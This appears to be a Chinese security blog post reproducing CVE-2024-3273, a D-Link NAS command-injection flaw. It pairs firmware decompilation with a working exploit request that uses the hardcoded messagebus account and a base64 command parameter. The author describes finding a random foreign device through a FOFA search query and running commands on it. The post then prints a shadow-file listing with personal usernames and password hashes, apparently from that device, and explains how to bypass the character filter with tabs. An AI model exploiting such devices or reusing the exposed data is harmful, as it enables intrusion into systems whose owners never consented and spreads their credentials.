D-Link未授权RCE漏洞复现(CVE-2024-3273)
最近对IoT安全比较感兴趣,准备学一学,先复现一个漏洞玩一玩
漏洞点
D-Link nas_sharing.cgi接口存在命令执行漏洞,该漏洞存在于“/cgi-bin/nas_sharing.cgi”脚本中,漏洞成因是通过硬编码帐户(用户名messagebus,密码为空)造成的后门以及通过“system”参数的命令注入问题。未经身份验证的攻击者可利用此漏洞获取服务器权限。
影响范围
DNS-320L 版本1.11、版本1.03.0904.2013、版本1.01.0702.2013
DNS-325 版本1.01
DNS-327L 版本1.09,版本1.00.0409.2013
DNS-340L 版本1.08
复现环境
exp->https://github.com/Chocapikk/CVE-2024-3273
固件 -> dns-340l
虚拟机 -> IOT-Research
复现过程
先随便用fofa找一个外国资产
fofa语句
1
| "Text:In order to access the ShareCenter, please make sure you are using a recent browser(IE 7+, Firefox 3+, Safari 4+, Chrome 3+, Opera 10+)"
|

之后GET传参
GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
其中system的值就是执行命令base64编码过后的内容

id命令执行成功
但是ls /执行失败,用exp执行成功,应该有waf
分析固件
binwalk -Me DLINK_DNS-340L_1.08b01\(1.01.0502.2018\)
在squashfs-root\cgi里面的nas_sharing.cgi出现问题,
这也就是为什么GET传参路由为/cgi-bin/nas_sharing.cgi
用IDA反编译看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218
| int cgiMain() { int v0; int v2[2]; char nptr[4]; int v4;
v2[0] = 0; v2[1] = 0; *(_DWORD *)nptr = 0; v4 = 0; cgiFormString("cmd", v2, 8); v0 = strtol((const char *)v2, 0, 10); cgiFormString("dbg", nptr, 8); if ( nptr[0] ) dword_3E4FC = strtol(nptr, 0, 10); switch ( v0 ) { case 0: sub_196AC(); break; case 1: sub_12C50(); break; case 2: sub_132B4(); break; case 4: sub_13624(); break; case 5: sub_139F8(); break; case 6: sub_137D0(); break; case 7: sub_1502C(); break; case 9: sub_140FC(); break; case 10: sub_1454C(); break; case 11: sub_14880(); break; case 12: sub_14B00(); break; case 13: sub_14DB4(); break; case 14: sub_151B0(); break; case 15: sub_19108(); break; case 16: sub_19230(); break; case 21: sub_17294(); break; case 22: sub_17694(); break; case 23: sub_17B38(); break; case 26: sub_17F20(); break; case 27: sub_18440(); break; case 28: sub_186BC(); break; case 29: sub_189FC(); break; case 31: sub_15354(); break; case 32: sub_15830(); break; case 33: sub_15F88(); break; case 34: sub_16200(); break; case 35: sub_15AA8(); break; case 36: sub_165D4(); break; case 37: sub_1684C(); break; case 38: sub_16CD4(); break; case 39: sub_16F30(); break; case 51: sub_18E24(); break; case 55: sub_197FC(); break; case 56: sub_19FF4(); break; case 61: sub_1A2F0(); break; case 70: sub_1A870(); break; case 71: sub_1A9F0(); break; case 73: sub_1AB4C(); break; case 74: sub_1B3B4(); break; case 75: sub_1AC74(); break; case 76: sub_1B4DC(); break; case 77: sub_1AEC8(); break; case 78: sub_1AD9C(); break; case 80: sub_1B2D0(); break; case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: sub_1B604(v0); break; case 90: sub_1B748(); break; case 91: sub_1B878(); break; case 92: sub_1BCD0(); break; case 93: sub_1BE9C(); break; case 94: sub_1BFAC(); break; case 95: sub_1C11C(); break; case 96: sub_1C2F8(); break; case 97: sub_1C63C(); break; case 98: sub_1C790(); break; case 99: sub_1C9CC(); break; case 100: sub_1CD24(); break; case 101: sub_1D154(0); break; case 102: sub_1D154(1); break; case 103: sub_1D408(); break; case 104: sub_1D4FC(); break; case 105: sub_1D628(); break; case 106: sub_1D7D4(); break; default: sub_128D0(); break; } return 0; }
|
在这个函数中读取cmd和dbg的值
分析所有sub函数,发现case 15对应有问题,这就是为什么传参cmd=15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| int sub_19108() { int v0; char v2[4096]; char s[4096]; char v4[4096]; char command[4104];
memset(v2, 0, sizeof(v2)); memset(s, 0, sizeof(s)); memset(v4, 0, sizeof(v4)); memset(command, 0, 0x1000u); cgiFormString("user", v2, 4096); cgiFormString("passwd", s, 4096); if ( !v2[0] && !s[0] ) { cgiFormString("id1", v2, 4096); cgiFormString("id2", s, 4096); } cgiFormString("system", v4, 4096); if ( !sub_1E1CC(v2, s) ) return sub_128D0(); strlen(v4); sub_1DD88((u_char *)command, v4); fix_path_special_char(command); v0 = system(command); return sub_12998(v0); }
|
获取user和passwd的值传到v2和s中,如果都为空就从id1和id2中获取。之后传入sub_1E1CC认证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| int __fastcall sub_1E1CC(const char *a1, const char *a2) { const char *v4; const char *v5; int result; FILE *v7; struct passwd *v8; struct passwd *v9; const char *v10; char v11[4096]; char s[128]; char dest[152];
memset(s, 0, sizeof(s)); memset(dest, 0, 0x80u); memset(v11, 0, sizeof(v11)); v4 = "dbg"; while ( 1 ) { v5 = (const char *)*((_DWORD *)v4 + 1); v4 += 4; result = strcmp(a1, v5); if ( !result ) break; if ( v4 == (const char *)off_2BCF0 ) { if ( *a2 ) { _b64_pton(a2, (u_char *)v11, 0x1000u); if ( dword_3E4FC ) { sub_12878("pwd [%s]\n", a2); sub_12878("pwd decode[%s]\n", v11); } } v7 = (FILE *)fopen64("/etc/shadow", "r"); do { v8 = fgetpwent(v7); v9 = v8; if ( !v8 ) return 0; } while ( strcmp(v8->pw_name, a1) ); strncpy(s, v9->pw_passwd, 0x80u); fclose(v7); strncpy(dest, v11, 0x80u); v10 = (const char *)sub_1E160((int)dest, s); return strncmp(v10, s, 0x80u) == 0; } } return result; }
|
首先检查用户名是否在预定义的特殊用户列表中,如果是则直接跳过检查返回0,如果不是就先对密码参数 base64 解码,结果存进 v11,然后会遍历 /etc/shadow,找到用户名匹配的行,把其加密口令取出到 s
接着调用 sub_1E160 计算 dest(用户输入密码解码后的明文)对应的加密结果,再和 s 比较。若相同,则返回 1(认证成功),否则返回 0。
然后看一下off_2BCF0

就算在这个名单里面依旧会调用sub_1E324
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| int __fastcall sub_1E324(char *s1, const char *a2) { char **v2; const char *v5; int result; FILE *v7; struct passwd *v8; struct passwd *v9; char *v10; char v11[80]; char dest[104];
v2 = off_2BCF0; while ( 1 ) { v5 = v2[1]; ++v2; result = strcmp(s1, v5); if ( !result ) break; if ( v2 == &off_2BD04 ) { v7 = (FILE *)fopen64("/etc/shadow", "r"); while ( 1 ) { v8 = fgetpwent(v7); v9 = v8; if ( !v8 ) break; if ( !strcmp(v8->pw_name, s1) ) { strcpy(v11, v9->pw_passwd); fclose(v7); strcpy(dest, a2); v10 = sub_1E160(dest, v11); return strcmp(v10, v11) == 0; } } return 0; } } return result; }
|
sub_1E1CC和sub_1E324均调用了sub_1E160获取密码的哈希
Linux /etc/shadow 文件只有 root 用户拥有读权限
1 2 3 4 5 6 7 8 9 10 11
| admin:$1$$gve3Uka.V1oDuclEp0W.g1:0:0:99999:7::: nobody:pACwI1fCXYNw6:0:0:99999:7::: squeezecenter:$1$$o7vIitnZu4MHlaR5S90M/1:15460:0:99999:7::: root:$1$$qRPK7m23GJusamGpoGLby/:14746:0:99999:7::: messagebus:$1$$qRPK7m23GJusamGpoGLby/:19060:0:99999:7::: HramAdmin:$1$$gve3Uka.V1oDuclEp0W.g1:19268:0:99999:7::: IrinaZabolotnaya:$1$$A1IGgeA6wZYlyzfzp9sV60:19801:0:99999:7::: Navrotskaya:$1$$PepcYs8FT7wT54SJjROql0:20070:0:99999:7::: Sharkov:$1$$8w9mpx4vnRY08fRK/ZN0b/:20070:0:99999:7::: Krikota:$1$$RRfa3MMgwtTOsb0TrxxHu/:20070:0:99999:7::: Foto:$1$$.YDIniGthJtsdQXpVvVtA/:20179:0:99999:7:::
|
这里我们messagebus的密码和root一样都是空密码,也就是说,只要我们用户名是messagebus或root并将密码置空就可以执行将system表单接受的v8传入command,再经过fix_path_special_char处理后执行并返回结果

root执行失败是因为在dbg名单中直接跳过检查返回0
实际测试中发现空格执行不了,估计与这个函数有关
找一下带有这个函数的.so文件
grep -r "fix_path_special_char" .

objdump -T ./usrlib/libmmf.so | grep fix_path_special_char
反编译一下这个文件,找到对应函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| char *__fastcall fix_path_special_char(char *a1) { char *i; char *v3; int v4; bool v5; char *v6; char *result; char v8[1048];
memset(v8, 0, 0x400u); i = strchr(a1, 36); if ( i ) goto LABEL_2; v3 = strchr(a1, 96); if ( v3 ) goto LABEL_26; i = strchr(a1, 35); if ( i ) goto LABEL_28; if ( strchr(a1, 37) ) goto LABEL_26; v3 = strchr(a1, 94); if ( v3 ) { i = 0; v3 = 0; goto LABEL_3; } i = strchr(a1, 38); if ( i ) goto LABEL_28; v3 = strchr(a1, 40); if ( v3 ) goto LABEL_26; i = strchr(a1, 41); if ( i ) goto LABEL_28; if ( strchr(a1, 43) ) goto LABEL_26; if ( strchr(a1, 123) || (i = strchr(a1, 125)) != 0 ) { LABEL_2: i = 0; v3 = 0; goto LABEL_3; } v3 = strchr(a1, 59); if ( v3 ) { LABEL_26: v3 = 0; goto LABEL_3; } i = strchr(a1, 91); if ( i ) goto LABEL_28; v3 = strchr(a1, 93); if ( v3 ) goto LABEL_26; i = strchr(a1, 39); if ( i ) { LABEL_28: i = 0; goto LABEL_3; } v3 = strchr(a1, 61); if ( v3 ) goto LABEL_26; result = strchr(a1, 32); if ( !result ) return result; LABEL_3: for ( i = 0; (unsigned int)i < strlen(a1); ++i ) { v4 = (unsigned __int8)i[(_DWORD)a1]; v5 = v4 == 36; if ( v4 != 36 ) v5 = v4 == 96; if ( v5 || v4 == 35 || v4 == 37 || v4 == 94 || v4 == 38 || v4 == 40 || v4 == 41 || v4 == 43 || v4 == 123 || v4 == 125 || v4 == 59 || v4 == 91 || v4 == 93 || v4 == 39 || v4 == 61 || v4 == 32 ) { v6 = &v8[(_DWORD)v3++ + 1024]; *(v6 - 1024) = 92; } v8[(_DWORD)v3++] = v4; } return strcpy(a1, v8); }
|
它会扫描传入的路径 a1,如果发现可疑字符(比如 $、(、空格等),就把它们前面加上反斜杠 \,从而“转义”掉。
而我们使用的那个exp将空格用TAB也就是\t进行替换